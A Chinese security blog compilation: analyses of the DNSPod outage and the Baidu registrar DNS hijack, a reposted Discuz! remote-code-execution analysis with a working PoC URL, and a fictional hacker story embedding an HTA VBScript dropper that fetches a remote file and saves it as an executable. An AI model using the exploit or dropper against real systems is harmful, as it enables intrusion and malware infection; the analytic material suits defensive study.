    2009年5月18日晚上22点左右,DNSPod主站及多个DNS服务器遭受超过10G流量的恶意攻击。耗尽了整个机房约三分之一的带宽资源,为了不影响机房其他用户,最终导致DNS服务器被迫离线。该事件关联导致了使用DNSPod进行解析的暴风影音程序频繁的发生域名重新申请,产生请求风暴,大量积累的不断访问申请导致各地电信网络负担成倍增加,网络出现堵塞。于2009年5月19日晚21时左右开始,江苏、安徽、广西、海南、甘肃、浙江六省陆续出现大规模网络故障,很多互联网用户出现访问互联网速度变慢或者无法访问网站等情况。在零点以前,部分地区运营商将暴风影音服务器IP加入DNS缓存或者禁止其域名解析,网络情况陆续开始恢复。

4.百度攻击事件分析

    百度被攻击前和攻击后的相关信息对比如下:

被攻击前 被攻击后

Domain Name: BAIDU.COM
Registrar: REGISTER.COM, INC.
Whois Server: whois.register.com
Referral URL: http://www.register.com
Updated Date: 03-dec-2008
Creation Date: 11-oct-1999
Expiration Date: 11-oct-2014

Domain Name: BAIDU.COM
Registrar: REGISTER.COM, INC.
Whois Server: whois.register.com
Referral URL: http://www.register.com
Updated Date: 12-jan-2010
Creation Date: 11-oct-1999
Expiration Date: 11-oct-2014

    百度攻击事件前baidu.com最后修改的时间是2008年12月3号,到期日期是2014年8月11号。
    百度攻击事件后修改的时间变为是2010年的1月12号。

    有关涉及到域名解析的whois信息在此过程中曾被进行多次修改,其中可证实的包括。

Name Server
Name Server: YNS1.YAHOO.COM
Name Server: YNS2.YAHOO.COM
Name Server: NS2303.HOSTGATOR.COM
Name Server: NS2304.HOSTGATOR.COM

    根据有关whois信息查询,百度的域名注册服务商是register.com,是一家顶级域名注册机构。
    百度Whois 信息如下:

    对whois.register.com 与www.register.com 的IP获取如下:
    whois.register.com IP: 216.21.239.106
    www.register.com   IP: 216.21.239.101
    两台IP服务器位于同一个网段。

    通过有关信息可以对有关网络传闻作出如下结论

    (1)百度域名到期日为2014年10月14日,可以明确排除百度因域名未续费导致异常的传闻。
    (2)百度域名异常期间,可以验证其主站及其他2级域名可以按照如下IP规则进行访问并获得正常搜索结果。

 

   内容

异常域名

可以正常访问的IP地址

百度首页

www.baidu.com

http://202.108.22.5

百度新闻

news.baidu.com

http://61.135.163.87

百度贴吧

tieba.baidu.com

http://61.135.163.220

百度知道

zhidao.baidu.com

http://61.135.163.85

百度mp3

mp3.baidu.com

http://61.135.163.89

百度图片

image.baidu.com

http://61.135.163.93

百度视频

video.baidu.com

http://61.135.163.91

可以排除百度自身信息系统因遭遇故障导致问题的可能。
    (3)可以确认百度域名访问异常的核心原因是百度域名服务商register.com遭到攻击,导致其whois系统向全球DNS体系提供了错误的域名解析服务器导致。但攻击register.com的具体方法尚难推定。初步分析认为www.register.com有一定安全隐患,不能排除是攻击者入侵入口,并进一步攻击了whois.register.com的可能性。尽管whois.register.com采用的是SSL的加密交互方式,但SSL的脆弱性在过去1年内已经被很多公开资料所披露。有关攻击技巧的组合有可能严重威胁传统的域名注册机构、以及代理机构的安全。

因此我们通过两个图示完整解析域名有关机制和百度受到攻击的过程。


正常情况下的全球DNS体系、baidu和用户三者的关系图示

  1. 百度公司通过域名注册机构(本事件中为register.com)成功申请域名,并发布原始Whois信息。Whois信息中包含了域名解析服务器。
  2. 有关whois信息通过数据库发布到全球DNS网络中,baidu.com顶级域名下所有域名会被指向到百度的DNS体系查询。
  3. 百度的DNS体系由DNS.baidu.com、NS2.baidu.com、NS3.baidu.com、NS4.baidu.com互为后备组成。
  4. 相关DNS体系向全球域名网络提交有关站点的正确IP信息。
  5. 用户访问时,向自身的DNS服务器查询baidu.com的IP地址,并走正常的缓存和逐级查询过程,获取baidu.com的正确IP,访问baidu的网络服务。


图一:攻击示意图

  1. 攻击者入侵register有关站点。
  2. 攻击者修改baidu.com有关whois信息,把baidu.com的域名解析服务修改成自身可控的DNS服务器。
  3. 有关DNS服务器在收到查询时发布错误的IP地址,指向攻击者发布有关内容的服务器。
  4. 用户此时通过域名方式无法访问正常的百度,之后只能访到攻击者预设的内容。
  5. 百度此时除了协调register.com修改自己的whois信息外,没有其他可以使域名正常访问的方法。

5.结论与建议

    本次事件再度揭示了全球DNS体系的脆弱性,并说明互联网厂商如果仅有针对自身信息系统的安全预案,不足以快速应对全面而复杂的威胁。
    安天从一个安全研究机构自身的角度回溯:在相关历史案例中whois信息更多与非法获取域名所有权的有关纠纷相关,但以此为入口对主流互联网厂商进行域名劫持攻击并不是十分常见,过去安全业界更多的关注根DNS的安全性以及局部的类似DNS缓存感染类的威胁,而对域名业务体系的安全性关注不够。而从现有效果来看,这无疑是具有全局威胁、难以响应防范的一种攻击,因为攻击点位于域名所有者可以控范围之外,而由于DNS体系的特点、DNS管理权利的不均衡、地区时间差、缺少理性沟通机制等诸多因素,都可能导致国内互联网站点在自身信息系统完全正常的情况下遭到“灭顶之灾”,而鞭长莫及。
    从2000年的YAHOO等大型站点遭遇DoS,随后带动TFN2K等攻击工具和方法泛滥等案例来看,每一次“非典型攻击”都会成为一个恶性的示范样板,有关事件必然诱使DNS业务体系成为未来一阶段攻击的重灾区。
因此我们建议:
(1)针对网站运营者:原则上应为自身站点准备两套域名,且两个域名应该通过两个不同的服务商注册。
(2)大型网站的应急预案应进一步修正有关处理流程,强化对域名服务商的协调流程。
(3)域名注册商和代理机构近期可能成为集中攻击目标,需要加以防范。
(4)国内有关机构应快速建立与境外有关机构的协调能力,协助国内企业实现对有关事件的快速交涉处理。

2010-01-08

Discuz!论坛出现重大0Day漏洞,相信包括凤凰卫视的凤凰网论坛在内,许多采用Discuz的人气论坛都会受到黑客攻击,昨天一些大论坛已经开始处于关闭状态,所以各大网站的网管们,如果你使用的论坛是Discuz!的,在漏洞补丁没有出现之前,还是关闭吧。

这个漏洞可以让黑客完全控制你的服务器。

以下内容来自互联网

特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此另外有安装插件的用户不受影响。

 

漏洞分析:

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:
function showmessage($message, $url_forward = ”, $extra = ”, $forwardtype = 0) {
    extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from blog.sina.com.cn
    global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
    define(’CACHE_FORBIDDEN’, TRUE);
    $hookscriptmessage = $show_message = $message;$messagehandle = 0;
    $msgforward = unserialize($_DCACHE['settings']['msgforward']);
    $refreshtime = intval($msgforward['refreshtime']);
    $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
    $msgforward['refreshtime'] = $refreshtime * 1000;
    $url_forward = empty($url_forward) ? ” : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
    $seccodecheck = $seccodestatus & 2;
    if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
        $statlogfile = DISCUZ_ROOT.’./forumdata/funcstat.log’;
        if($fp = @fopen($statlogfile, ‘a’)) {
            @flock($fp, 2);
            if(is_array($funcstatinfo)) {
                $funcstatinfo = array_unique($funcstatinfo);
                foreach($funcstatinfo as $funcinfo) {
                    fwrite($fp, funcstat_query($funcinfo, $message).”\n”);
                }
            } else {
                fwrite($fp, funcstat_query($funcstatinfo, $message).”\n”);
            }
            fclose($fp);
            $funcstatinfo = $GLOBALS['funcstatinfo'] = ”;
        }
    }

    if(!defined(’STAT_DISABLED’) && STAT_ID > 0 && !IS_ROBOT) {
        write_statlog($message);
    }

    if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
        updatesession();
        dheader(”location: “.str_replace(’&’, ‘&’, $url_forward));
    }
    if(!empty($infloat)) {
        if($extra) {
            $messagehandle = $extra;
        }
        $extra = ”;
    }
    if(in_array($extra, array(’HALTED’, ‘NOPERM’))) {
        $discuz_action = 254;
    } else {
        $discuz_action = 255;
    }

    include language(’messages’);

    $vars = explode(’:', $message);//只要含:就可以了
    if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割
        eval_r(”\$show_message = \”".str_replace(’”‘, ‘\”‘, $scriptlang[$vars[0]][$vars[1]]).”\”;”);//$scriptlang未初始化,可以自定义,from blog.sina.com.cn
    } elseif(isset($language[$message])) {
        $pre = $inajax ? ‘ajax_’ : ”;
        eval_r(”\$show_message = \”".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message]).”\”;”);
        unset($pre);
    }

    ……
}

二、DZ的全局机制导致了未初始化的参数可以任意提交:
foreach(array(’_COOKIE’, ‘_POST’, ‘_GET’) as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != ‘_’ && $$_key = daddslashes($_value);
    }
}

三、misc.php正好有个可以自定义message的点,其实也是未初始化:
elseif($action == ‘imme_binding’ && $discuz_uid) {

    if(isemail($id)) {
        $msn = $db->result_first(”SELECT msn FROM {$tablepre}memberfields WHERE uid=’$discuz_uid’”);
        $msn = explode(”\t”, $msn);
        $id = dhtmlspecialchars(substr($id, 0, strpos($id,
‘@’)));
        $msn = “$msn[0]\t$id”;
        $db->query(”UPDATE {$tablepre}memberfields SET msn=’$msn’ WHERE uid=’$discuz_uid’”);
        showmessage(’msn_binding_succeed’, ‘memcp.php’);
    } else {
        if($result == ‘Declined’) {
            dheader(”Location: memcp.php”);
        } else {
            showmessage($response['result']);//$response没有初始化,可以自定义,from blog.sina.com.cn

        }
    }

   }

四、漏洞利用:

showmessage函数里$vars = explode(’:', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。

五、漏洞修复:

1.有补丁的打补丁;
2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。

poc:

misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

2010-01-05

本文纯属虚构,如有雷同,请让雷先生致电作者

 

第一幕:遭遇小白

我叫小黑,黑白的黑。

小黑是我的网名,因为我是网络中的一名侠客,或者通俗点儿说是一名黑客。我很喜欢行侠仗义的感觉,我崇拜着那种武侠小说里描绘的“侠之大者”和黑社会的古惑仔义气;向往着那种刀光剑影,大碗喝酒、大口吃肉的豪情;不过我只能够在网络的江湖中掀起血雨腥风。当然主要也因为现实生活中的我……

唉,不提了,总之,我是网络中的大侠就可以。

窗外的风又开始吹了,挟裹着白色的雪花打在窗户上,冷风巧妙的绕过那层单薄的玻璃,让屋内寒气袭人。在这个仅有8平米的小房子里,我的手冻得瑟瑟发抖,看着电脑屏幕中PCShare木马中的庞大肉鸡群,我开始漫无目的翻检这些肉鸡的目录。

突然,一台肉鸡吸引了我的注意,屏幕中这台电脑的主人似乎在更新一个网站,难道这是一个网站管理员的电脑?我一下子提起了精神,先提取一下键盘记录,把他的密码搞回来再说。可不知道为什么点了查看“键盘记录”按钮N次,最终什么都提取回来,这是怎么回事儿?查看一下肉鸡的进程!

-_-||我彻底无语了,中国排名前十名的木马和病毒几乎都能够在这台肉鸡中找到,由于病毒多,相互争夺权限,也导致了我无法正常提取回这台肉鸡的键盘记录。眼看着这个肉鸡的上的小白就关闭了自己的网站后台界面,我那叫一个着急呀。

难道我真的寂寞到了极点?不知道为什么我竟然调出了木马的信使功能,给这个电脑小白发了一段话:“你电脑中的病毒真多呀!”。这段话的突然出现让似乎让这个小白有些莫名其妙,在木马的屏幕监控上,小白似乎停止了所有的操作。

“你是谁呀?”

晕,这个小白竟然用信使回复我了。我还以为她会吓得屁滚尿流的关闭电脑。

“我是黑客,我入侵了你的电脑,你害怕不害怕呀?”

“哇!黑客,好神奇呀!你能够进我电脑一定很厉害!”

“-_-||是吗?你的电脑里有好多病毒!”

“我说怎么总感觉它最近反应慢,要不黑客,你帮我杀杀毒吧!”

“o_o||”

“你刚在在更新网站?”

“对呀,我是XX房地产公司的,我刚才在更新我们新开盘的房屋价格。”

此时我在顿然醒悟,这个小白竟然是有地产界“大炮”称号的奸商公司的员工。进入他们公司的网站,里面贴满了“大炮”有经典语录的文章:“中国人太有钱,房子太便宜”、“高档房本来就是穷人买不起的”、“没买房的人都亏了”……

黑了他!

 

第二幕:黑客无敌

我大学毕业一年多了,在没有迈入社会之前,总以为只要学了跟计算机专业沾边的,就凭我这IQ,将来不是比尔盖茨就是乔布斯,最差也混个马云呀。不过现在看来,我只有给老板们当牛做马的份儿。每个月领着微薄的工资,在城中村简陋的板房中孤单生活。

其实我也有一段凄美的爱情故事,我和女友圆圆险些就步入洞房了,但那个冷若冰霜的准丈母娘冷酷的问我:“娶我女儿的洞房在什么地方?”这时我才发现,无论现实还是童话故事,都是一样残酷的,如果王子没有城堡,公主宁肯嫁给史瑞克,至少他在沼泽地里有木屋。彻底沦为剩男中的“剩斗士”之后,上网成为了我唯一的调剂,我多么希望我菜地里的那栋豪宅能够变成现实呀。

“没买房的人都亏了”,是呀,我连老婆都因为你们这帮奸商亏给别人了!黑掉他!这是我脑海里唯一想到的。传统文化教育我们,谦虚使人进步,骄傲使人落后。在今天这个竞争激烈,张扬自我的年代,谦虚往往失去许多机会,我小黑这个时候就不谦虚了!

说干就干,我迅速调开这个网站的新闻页面,发现网站程序是用动态语言PHP写的,网址都是类似“http://www.nongsita.com/fangzi.php?username=888”这样的动态页面,只要不是HTML之类的静态网页,就总能够找到漏洞。我于是开始在每个网址后面加入了一个“,”号,仅耗时5分钟其中一个页面就立刻爆出了MYSQL的错误提示页面。

注入点顺利的找到了,此时可以祭出辅助工具帮助进行渗透了。我调出了PHP注入中小有名气的“翔哥PHP注入工具”,这是一款能够帮助黑客进行SQL注入的最好的工具之一。

黑客小知识:所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞,从而达到获取、修改、删除数据,甚至控制数据库服务器、Web服务器的目的的测试方法。“翔哥PHP注入工具”能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。

在PHP注入工具的URL一项中输入查找出的注入点网址,然后点击Check就开始进行注入漏洞的检验了。很快这家房地产公司网站的数据库名称等信息就全部被猜了出来,然后使用MySQL的提权工具进行提权,添加管理员账号,上传Webshell木马。将他们老板的照片全部PS……

 

第三幕:连环套,黑吃黑

CBD中心一座摩天高楼中,“大炮”因为新闻媒体报道自己公司网站被黑很不爽。他拿着一支雪茄烟,声色俱厉的训斥着下属。

“狂牛,找到这个跟我作对的家伙!”

屋子里的一个略带微胖的男人,没有说话,轻轻的点了点头,转身离去。

狂牛回到自己的办公室,开始着手分析入侵者,仅凭着直觉,他很快就找到了小黑留在网站中的后门WebShell。

狂牛冷冷一笑,他的计划很简单,在小黑的WebShell上挂一个木马,只要小黑再次向登陆他留在网站中的这个后门,就有可能会中狂牛的木马。狂牛想做的不是清除掉小黑的程序,而是直接清除掉小黑。狂牛在小黑的留下的后门网页中插入了一段iframe框架代码,这段代码指向了一个特殊的.hta的网页,随后在写字板里写下了一段代码:

<script language=vbs>

window.moveTo 4000,4000

window.resizeTo 0,0 ‘使hta不可见

set objshell= Createobject(”WScript.Shell”)’hta是可以直接调用WScript.Shell的,不过不能调用wscript.Createobject(”WScript.Shell”)

downpath=objshell.ExpandEnvironmentStrings(”%USERPROFILE%”)&”\Local Settings” ‘根据环境变量得到下载的路径

set xml=document.createElement_x(”xml”)’建方xml元素调用ie的默认行为

xml.addBehavior(”#default#DownLoad”)

xml.async=0

xml.load(”http://192.168.0.10/xx.htm”)’请把exe改名放到空间上,用ftp软件上传的话,可能不行,直接放比较好

ShowAllFile(downpath)

Sub ShowAllFile(Path)

FindFileName=”xx[1].htm” ‘这个也是你需要改的,如果上边是xx.htm,这里就是xx[1].htm

Set FSO = CreateObject(”Scripting.FileSystemObject”)

Set f = FSO.GetFolder(Path)

Set fc = f.SubFolders

For Each f1 in fc

If FSO.FileExists(path&”\”&f1.name&”\”&FindFileName) Then

FSO.CopyFile path&”\”&f1.name&”\”&FindFileName, “c:\111.exe” ‘保存到c:\111.exe,可根据需要改动

‘document.write “[+]**** Success !”

End If

ShowAllFile path&”\”&f1.name

Next

Set FSO = Nothing

End Sub

window.close

</script>

代码写完后,保存为.hta文件,带着木马被一并上传到了被黑的网站中。狂牛现在所做的仅是等待……

 

第四幕:三天后

凌晨2点,小黑刚刚打开电脑,连接上网络,突然屏幕一黑,硬盘开始疯狂的转动,小黑此时意识到大事不妙,慌忙的去拔网线,然而一切都晚了,硬盘中的数据已经全部被销毁,连主板的BIOS也被破坏,狂牛将小黑电脑BIOS启动图片修改成了一个大大的“拆”字……